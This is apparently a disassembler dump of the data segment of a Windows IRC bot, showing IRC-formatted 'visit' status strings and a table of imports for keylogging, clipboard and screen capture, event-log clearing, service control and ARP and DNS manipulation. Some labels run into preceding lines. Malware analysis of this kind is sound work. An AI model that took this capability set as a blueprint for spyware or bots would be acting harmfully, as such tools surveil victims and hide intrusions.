					; DATA XREF: sub_41B598+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_44241C	dd offset loc_412F4E	; DATA XREF: sub_41B598:loc_41B60Co
off_442420	dd offset dword_4E414C	; DATA XREF: sub_41B598:loc_41B605o
dword_442424	dd 6C616944h, 70752Dhdword_44242C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_44243C	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B817o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConn_0	db ' Failed to connect to HTTP server.',0
		align 4
unk_44246C	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B810o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_442498	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B65E+1A0o
		dd 4C525520h, 2Eh
unk_4424B4	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B7F1o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_4424F0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B65E+18Co
		dd 64657469h, 2Eh
dword_44250C	dd 2A2F2Ah	dword_442510	dd 1				align 10h
dword_442520	dd 173Fh			dd 9875h, 9873h
off_44252C	dd offset sub_41CDE8	; DATA XREF: sub_41BE34r
		dd offset nullsub_2
		dd offset nullsub_2
dword_442538	dd 1B3Fh	dword_44253C	dd 19930520h, 4	dup(0)					; sub_41D2EA+2o
off_442550	dd offset sub_41BE72	; DATA XREF: sub_41E0F9+1Cr
dword_442554	dd 2							; sub_4234E5+46r ...
		dd 10h
dword_44255C	dd 3F8h							; sub_41BC09+5r ...
off_442560	dd offset word_44256A	; DATA XREF: sub_41BD9E+23r
					; sub_41BD9E:loc_41BDFFr ...
off_442564	dd offset word_44256A	; DATA XREF: sub_426A53+18r
		db 2 dup(0)
word_44256A	dw 20h			; DATA XREF: sub_424C7C+18r
					; .nsp0:off_442560o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_44276C	dd 1							; sub_41BD9E:loc_41BDEAr ...
byte_442770	db 2Eh			; DATA XREF: sub_420375:loc_420669r
					; sub_420375+311r ...
		align 4
		dd 1
off_442778	dd offset aNull_0	; DATA XREF: sub_41F504:loc_41F868r
					; sub_41F504+457r
					; "(null)"
off_44277C	dd offset aNull		; DATA XREF: sub_41F504+259r
					; "(null)"
byte_442780	db 1			; DATA XREF: .nsp0:0041FDEFr
		db 2, 4, 8
		align 8
dword_442788	dd 3A4h		dword_44278C	dd 82798260h, 21h, 0dword_442798	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_442878	dd 1							; sub_420244+Co
dword_44287C	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4429E0	dd 0D2D0920h, 5Dh					; sub_420375:loc_4208DCo
dword_4429E8	dd 5Dh,	0	dword_4429F0	dd 14h		off_4429F4	dd offset aExp		; DATA XREF: sub_421489:loc_4214A6r
					; "exp"
		dd 1Dh,	42784Ch, 1Ah, 427848h, 1Bh, 427840h, 1Fh, 427838h
		dd 13h,	427830h, 21h, 427828h, 0Eh, 427820h, 0Dh, 427818h
		dd 0Fh,	427810h, 10h, 427808h, 5, 427800h, 1Eh,	4277FCh
		dd 12h,	4277F8h, 20h, 4277F4h, 0Ch, 4277ECh, 0Bh, 4277E4h
		dd 15h,	4277DCh, 1Ch, 4277D4h, 19h, 4277CCh, 11h, 4277C4h
		dd 18h,	4277BCh, 16h, 4277B4h, 17h, 4277ACh, 22h, 4277A8h
		dd 23h,	4277A4h, 24h, 4277A0h
dbl_442AC8	dq 1.797693134862316e308 ; DATA	XREF: sub_4211C4+B7r
					; sub_4211C4:loc_4212ABr ...
		dd 0
		dd 0FFF80000h
dbl_442AD8	dq 1.797693134862316e308 ; DATA	XREF: sub_4211C4+92r
					; sub_4211C4:loc_421283r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_442AF0	dt 2.3562723457267347066e313 ; DATA XREF: sub_421671+Dr
					; sub_421671+1Fr
		align 4
tbyte_442AFC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421671+31r
		align 4
off_442B08	dd offset sub_424563	; DATA XREF: sub_41CE00+Fw
					; sub_41F504+3AAr
off_442B0C	dd offset sub_424563	; DATA XREF: sub_41CE00+5w
					; sub_41F504+3E2r
off_442B10	dd offset sub_424563	; DATA XREF: sub_41CE00+14w
					; sub_420375+430r
off_442B14	dd offset sub_424563	; DATA XREF: sub_41CE00+1Ew
					; sub_41F504+3CBr
off_442B18	dd offset sub_424563	; DATA XREF: sub_41CE00+28w
off_442B1C	dd offset sub_424563	; DATA XREF: sub_41CE00+32w
		dd offset sub_42456C
		dd 3 dup(0)
		dd offset sub_4223CC
off_442B34	dd offset sub_4223CC	; DATA XREF: sub_422422+29r
off_442B38	dd offset dword_4E1940	; DATA XREF: sub_422563+55o
		align 10h
		dd offset dword_4E1940
		dd 101h
dword_442B48	dd 2 dup(0)			dd 1000h, 0
dword_442B58	dd 3 dup(0)						; sub_41F3EF+50o ...
		dd 2, 1, 3 dup(0)
dword_442B78	dd 3 dup(0)						; sub_4202AB:loc_4202C9o
		dd 2 dup(2), 7 dup(0)
dword_442BA8	dd 84h dup(0)	dword_442DB8	dd 0C0000005h						; sub_422D4B+Ar ...
dword_442DBC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_442E30	dd 3							; sub_425781+C8r
dword_442E34	dd 7							; sub_425781+CDr
dword_442E38	dd 0Ah							; sub_4258AE+4r
dword_442E3C	dd 8Ch							; .nsp0:00422C99w ...
dword_442E40	dd 0FFFFFFFFh, 0A00h					; sub_41F3EF:loc_41F4ACo
dword_442E48	dd 2							; sub_4234E5+28r
off_442E4C	dd offset aR6002FloatingP ; DATA XREF: sub_4234E5+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B6Ch, 9, 427B40h, 0Ah,	427B1Ch, 10h, 427AF0h
		dd 11h,	427AC0h, 12h, 427A9Ch, 13h, 427A70h, 18h, 427A38h
		dd 19h,	427A10h, 1Ah, 4279D8h, 1Bh, 4279A0h, 1Ch, 427978h
		dd 78h,	427968h, 79h, 427958h, 7Ah, 427948h, 0FCh, 43BB50h
		dd 0FFh, 427938h
dword_442ED8	dd 2 dup(0)	dword_442EE0	dd 2694h						; sub_420E79+46r
		align 8
dword_442EE8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_442F00	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_442F18	dd 7080h						; sub_42464C+5Ew ...
dword_442F1C	dd 1							; sub_42464C+8Bw ...
dword_442F20	dd 0FFFFF1F0h						; sub_42464C+94w ...
dword_442F24	dd 545350h, 0Fh	dup(0)dword_442F64	dd 544450h, 0Fh	dup(0)off_442FA4	dd offset dword_442F24	; DATA XREF: sub_42464C+BAr
					; sub_42464C+D9r ...
off_442FA8	dd offset dword_442F64	; DATA XREF: sub_42464C+F4r
					; sub_42464C+11Br ...
		align 10h
dword_442FB0	dd 0FFFFFFFFh						; sub_4248AA+1Er ...
dword_442FB4	dd 0							; sub_424A56+BFw
dword_442FB8	dd 0							; sub_424A56+E0w
		align 10h
dword_442FC0	dd 0FFFFFFFFh						; sub_4248AA+26r ...
dword_442FC4	dd 0							; sub_424A56+EAw ...
dword_442FC8	dd 0							; sub_424A56+23r ...
dword_442FCC	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_442FFC	dd 16Dh							; sub_424A56+2Er ...
dword_443000	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_443038	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_443198	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425C06+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4432F8	dd offset off_427D5C	; DATA XREF: .nsp0:00427EDCo
					; .nsp0:00427FECo
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_443310	dd offset off_427D5C	; DATA XREF: .nsp0:off_427DC8o
					; .nsp0:00427E5Co ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_443330	dd offset off_427D5C	; DATA XREF: .nsp0:off_427DE0o
					; .nsp0:00427E24o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_443350	dd offset off_427D5C	; DATA XREF: .nsp0:off_427E68o
					; .nsp0:00427EACo ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_443370	dd offset off_427D5C	; DATA XREF: .nsp0:off_427EE8o
					; .nsp0:00427F24o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42456C
		align 10h
dword_443390	dd 2 dup(0)	byte_443398	db 0			; DATA XREF: sub_401135+62o
					; .nsp0:004039BDo ...
		align 10h
dword_4433A0	dd 0							; .nsp0:004026A9r ...
		dd 5 dup(0)
dword_4433B8	dd 0							; sub_4156AE+60r
		dd 2D9h	dup(0)
dword_443F20	dd 0							; .nsp0:004079C4r ...
		dd 7Fh dup(0)
dword_444120	dd 0							; sub_40B149+40w ...
dword_444124	dd 0							; sub_40B149+46w ...
dword_444128	dd 0							; sub_40B149+3Ar ...
dword_44412C	dd 0							; sub_4018A1+B9w ...
dword_444130	dd 0							; sub_40B32A+2Aw ...
dword_444134	dd 0							; .nsp0:00402527w ...
byte_444138	db 0			; DATA XREF: sub_4018A1+91o
					; .nsp0:0040780Ar ...
		align 4
		dd 585h	dup(0)
dword_445750	dd 2A3Fh dup(0)			db 0
byte_45004D	db 3 dup(0)		; DATA XREF: .nsp0:0043FD30o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .nsp0:off_440788o
		dd 0E304h dup(0)
dword_490054	dd 947Ch dup(0)						; .nsp0:00439B65o
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .nsp0:off_4405F4o
		dd 6F36h dup(0)
dword_4D0F20	dd 0							; sub_40B00E+13o ...
dword_4D0F24	dd 0							; .nsp0:loc_4044D7r ...
		dd 59h dup(0)
dword_4D108C	dd 0							; .nsp0:loc_403C41r ...
		dd 2 dup(0)
dword_4D1098	dd 0							; .nsp0:00401DEBr
byte_4D109C	db 0			; DATA XREF: sub_401A09+10r
					; sub_401A09+23o
		align 10h
dword_4D10A0	dd 0		dword_4D10A4	dd 0		dword_4D10A8	dd 0							; sub_40C8B0+13o ...
dword_4D10AC	dd 0		; resolved to->GDI32.DeleteDC					; sub_409A6D+4EBr ...
dword_4D10B0	dd 0		; resolved to->KERNEL32.Module32First					; sub_419F45+166r
dword_4D10B4	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_409A6D+880r ...
dword_4D10B8	dd 0							; sub_409A6D+A43r ...
dword_4D10BC	dd 0							; sub_409A6D+A13r ...
dword_4D10C0	dd 0		; resolved to->GDI32.SelectObject					; sub_409A6D+4DBr ...
dword_4D10C4	dd 0		; resolved to->USER32.GetKeyState					; sub_409A6D+234r ...
dword_4D10C8	dd 0							; sub_409A6D+A3Br ...
dword_4D10CC	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_409A6D+3C7r ...
dword_4D10D0	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_41B2E4+11Er
dword_4D10D4	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_409A6D+3CFr ...
dword_4D10D8	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_419533+ADr
dword_4D10DC	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40F891+115r ...
dword_4D10E0	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_409A6D+D2r ...
dword_4D10E4	dd 0							; sub_409A6D+A06r ...
dword_4D10E8	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_409A6D+3E7r ...
dword_4D10EC	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_409A6D+8ACr ...
dword_4D10F0	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_409A6D+2F0r ...
dword_4D10F4	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_409A6D+8A4r ...
dword_4D10F8	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D10FC	dd 0		; resolved to->WININET.InternetReadFile					; sub_409A6D+8B4r ...
dword_4D1100	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_409A6D+6D0r ...
dword_4D1104	dd 0		; resolved to->KERNEL32.Process32Next					; sub_409A6D+CAr ...
dword_4D1108	dd 0		; resolved to->IPHLPAPI.IcmpSendEchodword_4D110C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_409A6D+A95w ...
dword_4D1110	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_409A6D+F2r
dword_4D1114	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_409A6D+4D3r ...
dword_4D1118	dd 0		; resolved to->WS2_32.ntohl					; sub_40BEB3+20r ...
dword_4D111C	dd 0							; sub_409A6D+A33r
dword_4D1120	dd 0		; resolved to->WS2_32.ntohs					; sub_409A6D+754r ...
dword_4D1124	dd 0							; sub_40B209+3Do
dword_4D1128	dd 0		dword_4D112C	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_409A6D+86Dr
dword_4D1130	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_418AE3+15r
dword_4D1134	dd 0							; sub_409A6D+A1Br ...
dword_4D1138	dd 0		; resolved to->ADVAPI32.ControlService					; sub_409A6D+3D7r ...
dword_4D113C	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_409A6D+3DFr ...
dword_4D1140	dd 0							; sub_409A6D+C8Cr ...
dword_4D1144	dd 0		; resolved to->WS2_32.getpeername					; .nsp0:00410E91r
dword_4D1148	dd 0		; resolved to->WS2_32.WSACleanup					; sub_401135+23r ...
dword_4D114C	dd 0		; resolved to->GDI32.DeleteObject					; .nsp0:00415BBDr
dword_4D1150	dd 0							; sub_409A6D+A4Br ...
dword_4D1154	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_409A6D+2B2w ...
dword_4D1158	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_409A6D+DAr ...
dword_4D115C	dd 0		; resolved to->SHELL32.ShellExecuteA					; .nsp0:00409417r ...
dword_4D1160	dd 0		; resolved to->WS2_32.WSAStartup					; sub_409A6D+533w ...
dword_4D1164	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_409A6D+890r ...
dword_4D1168	dd 0							; sub_409A6D+A23r
dword_4D116C	dd 0							; sub_409A6D+C3Fr ...
dword_4D1170	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_418C8D+47r
dword_4D1174	dd 0		; resolved to->USER32.GetForegroundWindow					; .nsp0:00412336r ...
dword_4D1178	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409A6D+92Er
dword_4D117C	dd 0		dword_4D1180	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_418C8D+4Fr
dword_4D1184	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_409A6D+6E8r ...
dword_4D1188	dd 0		; resolved to->WININET.InternetOpenA					; sub_409A6D+873r
dword_4D118C	dd 0		; resolved to->USER32.GetWindowTextA					; sub_409A6D+23Cr ...
dword_4D1190	dd 0		; resolved to->USER32.IsWindow					; sub_409A6D+1C2r ...
dword_4D1194	dd 0		; resolved to->WS2_32.getsockname					; .nsp0:0040752Ar ...
dword_4D1198	dd 0		; resolved to->WS2_32.connect					; .nsp0:00406BF5r ...
dword_4D119C	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_409A6D+6DCr ...
dword_4D11A0	dd 0							; sub_409A6D:loc_40A366w ...
dword_4D11A4	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_409A6D+28Bw ...
dword_4D11A8	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_409A6D+69Fw ...
dword_4D11AC	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_409A6D+341r ...
dword_4D11B0	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_409A6D+3EFr ...
dword_4D11B4	dd 0							; sub_409A6D+C37r ...
dword_4D11B8	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_409A6D+888r ...
dword_4D11BC	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_409A6D+227r ...
dword_4D11C0	dd 0		; resolved to->USER32.OpenClipboard					; sub_409A6D+1D2r ...
dword_4D11C4	dd 0		; resolved to->WININET.InternetConnectA					; sub_409A6D+898r ...
dword_4D11C8	dd 0		; resolved to->WSOCK32.recvfrom					; sub_409A6D+774r
dword_4D11CC	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_409A6D+2BFw ...
dword_4D11D0	dd 0		; resolved to->WSOCK32.setsockopt					; sub_409A6D+79Cr ...
dword_4D11D4	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_409A6D+334r ...
dword_4D11D8	dd 0		; resolved to->WS2_32.select					; sub_409A6D+784r ...
dword_4D11DC	dd 0		; resolved to->GDI32.CreateDCA					; sub_409A6D+4AEr ...
dword_4D11E0	dd 0		; resolved to->USER32.GetClipboardData					; sub_409A6D+1DAr ...
dword_4D11E4	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_409A6D+3BAr ...
dword_4D11E8	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D11EC	dd 0		; resolved to->WS2_32.ntohl					; sub_409A6D+748r ...
dword_4D11F0	dd 0		; resolved to->WS2_32.ntohs					; .nsp0:00406BA7r ...
dword_4D11F4	dd 0		; resolved to->KERNEL32.Process32First					; sub_409A6D+C2r ...
dword_4D11F8	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_409A6D+4CBr ...
dword_4D11FC	dd 0		; resolved to->USER32.FindWindowA					; sub_409A6D+1BAr ...
dword_4D1200	dd 0							; sub_409A6D+A5Br ...
dword_4D1204	dd 0		; resolved to->WS2_32.gethostname					; sub_409A6D+7ACr ...
dword_4D1208	dd 0		; resolved to->WSOCK32.recv					; .nsp0:00406C0Ar ...
dword_4D120C	dd 0							; sub_409A6D+C47r ...
dword_4D1210	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_409A6D+BAr ...
dword_4D1214	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_409A6D+298w ...
dword_4D1218	dd 0		; resolved to->WS2_32.listen					; sub_409A6D+78Cr ...
dword_4D121C	dd 0		; resolved to->WS2_32.bind					; sub_409A6D+77Cr ...
dword_4D1220	dd 0							; sub_409A6D+C92w
dword_4D1224	dd 0		; resolved to->WININET.InternetCloseHandle					; .nsp0:00416EDEr ...
dword_4D1228	dd 0		dword_4D122C	dd 0							; sub_409A6D+C22r ...
dword_4D1230	dd 0		; resolved to->WS2_32.inet_addr					; .nsp0:004079F5r ...
dword_4D1234	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_409A6D+4BBr ...
dword_4D1238	dd 0		; resolved to->GDI32.BitBlt					; sub_409A6D+4E3r ...
dword_4D123C	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_409A6D+4C3r ...
dword_4D1240	dd 0		; resolved to->WS2_32.send					; .nsp0:00406C27r ...
dword_4D1244	dd 0		; resolved to->USER32.CloseClipboard					; sub_409A6D+1E2r ...
dword_4D1248	dd 0							; sub_409A6D+A53r ...
dword_4D124C	dd 0		; resolved to->USER32.SendMessageA					; sub_409A6D+1ADr ...
dword_4D1250	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_409A6D+E2r ...
dword_4D1254	dd 0		; resolved to->WS2_32.sendto					; sub_409A6D+764r ...
dword_4D1258	dd 0							; sub_409A6D+B5Fr
dword_4D125C	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_419EDA+55r
dword_4D1260	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_409A6D+2D3r ...
dword_4D1264	dd 0		; resolved to->SHELL32.SHChangeNotifydword_4D1268	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40AA8C+CEr
dword_4D126C	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_409A6D+AE6r ...
dword_4D1270	dd 0		; resolved to->WS2_32.socket					; .nsp0:00406B86r ...
dword_4D1274	dd 0		; resolved to->WS2_32.gethostbyname					; .nsp0:004093BDr ...
dword_4D1278	dd 0							; sub_409A6D+C2Fr ...
dword_4D127C	dd 0		; resolved to->WS2_32.inet_ntoa					; .nsp0:00407550r ...
dword_4D1280	dd 0							; sub_409A6D+A2Br ...
dword_4D1284	dd 0		; resolved to->WS2_32.accept					; sub_409A6D+794r ...
dword_4D1288	dd 0		; resolved to->WS2_32.closesocket					; sub_4018A1+D0r ...
dword_4D128C	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_409A6D+70Cr ...
dword_4D1290	dd 0							; sub_409A6D+B57r
dword_4D1294	dd 0		; resolved to->WS2_32.WSASocketA					; sub_409A6D+6C4r ...
dword_4D1298	dd 0							; sub_409A6D+B4Ar ...
dword_4D129C	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_409A6D+31w ...
dword_4D12A0	dd 0		; resolved to->USER32.DestroyWindow					; sub_409A6D+1CAr ...
		align 8
dword_4D12A8	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409A6D+93Br
dword_4D12AC	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_409A6D+EAr ...
dword_4D12B0	dd 0							; sub_409A6D+12Bw ...
dword_4D12B4	dd 0							; sub_40A729+1Cr
dword_4D12B8	dd 0							; sub_409A6D:loc_409CC2w ...
dword_4D12BC	dd 0							; sub_40A729+50r
dword_4D12C0	dd 0							; sub_409A6D:loc_409D75w ...
dword_4D12C4	dd 0							; sub_40A729+84r
dword_4D12C8	dd 0							; sub_40A729:loc_40A7D9r
dword_4D12CC	dd 0							; sub_40A729+B8r
dword_4D12D0	dd 0							; sub_40A729:loc_40A80Dr
dword_4D12D4	dd 0							; sub_40A729+ECr
dword_4D12D8	dd 0							; sub_409A6D+8EFw ...
dword_4D12DC	dd 0							; sub_40A729+120r
dword_4D12E0	dd 0							; sub_409A6D:loc_40A3C1w ...
dword_4D12E4	dd 0							; sub_40A729+154r
dword_4D12E8	dd 0							; sub_409A6D:loc_40A4DDw ...
dword_4D12EC	dd 0							; sub_40A729+188r
dword_4D12F0	dd 0							; sub_40A729:loc_40A8DDr
dword_4D12F4	dd 0							; sub_40A729+1BCr
dword_4D12F8	dd 0							; sub_40A729:loc_40A911r
dword_4D12FC	dd 0							; sub_40A729+1F0r
dword_4D1300	dd 0							; sub_40A729:loc_40A945r
dword_4D1304	dd 0							; sub_40A729+224r
dword_4D1308	dd 0							; sub_40A729:loc_40A979r
dword_4D130C	dd 0							; sub_40A729+258r
dword_4D1310	dd 0							; sub_40A729:loc_40A9ADr
dword_4D1314	dd 0							; sub_40A729+28Cr
dword_4D1318	dd 0							; sub_40A729:loc_40A9E1r
dword_4D131C	dd 0							; sub_40A729+2C0r
dword_4D1320	dd 8 dup(0)	dword_4D1340	dd 0							; sub_40BEFB+92w ...
dword_4D1344	dd 0							; .nsp0:0040C321w ...
		dd 7FEh	dup(0)
dword_4D3340	dd 6 dup(0)						; sub_40C034+138o ...
dword_4D3358	dd 0							; sub_40B9DD+348o
dword_4D335C	dd 0							; sub_40B9DD+35Ar
dword_4D3360	dd 0		dword_4D3364	dd 0							; sub_40B9DD:loc_40BCF2r
dword_4D3368	dd 20h dup(0)						; sub_40B9DD+302o
dword_4D33E8	dd 0		dword_4D33EC	dd 0							; sub_40B9DD+30Fw
dword_4D33F0	dd 0				align 8
dword_4D33F8	dd 0							; sub_40B9DD+101o
